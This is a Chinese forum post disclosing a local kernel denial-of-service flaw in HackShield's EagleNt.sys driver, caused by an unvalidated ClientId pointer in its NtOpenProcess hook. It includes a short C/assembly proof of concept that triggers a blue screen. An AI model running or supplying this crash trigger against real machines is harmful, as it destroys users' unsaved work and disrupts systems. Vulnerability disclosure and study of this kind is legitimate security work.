好友
阅读权限20
听众
最后登录1970-1-1
|
HackShield EagleNt.sys 本地内核拒绝服务漏洞
影响范围: HackShield
漏洞细节:
v26 = (int)ClientId;
InterlockedIncrement(&dword_29D10);
if ( !v26 )
goto LABEL_14;
......
xxxx(......*(_DWORD *)v26,......)
EagleNt.sys 在自己的NtOpenProcess HOOK函数中参数检测不严格 ,没有验证参数的正确性就直接使用,并且没有使用SEH来捕捉函数中的异常
虽然程序有检查ClientId是否为0,但是可惜的是ClientId是一个指针(PCLIENT_ID ClientId),只要我们随便传递一个不为0的非法地址就可以触发异常..
测试代码:
int main(int argc, char* argv[])
{
printf("HS 0day By 单行\n");
printf("请保存好你的数据,按下回车键后激活0day\n");
getchar();
GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwOpenProcess");
__asm
{
push 1 //ClientId 地址
push 0
push 0
push 0
call eax
}
return 0 ;
}
以上代码运行在有HackShield驱动的机器上就可以触发蓝屏
这篇文章的格式是按照MJ0011博客里面的那种格式写的......小弟初学0DAY,有错误的地方麻烦各位大大指出.....
各位大大们别喷我,我只是个菜鸟
感言:
想不到HackShield这种“高级”产品上面,也有这种“低级”漏洞 |
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|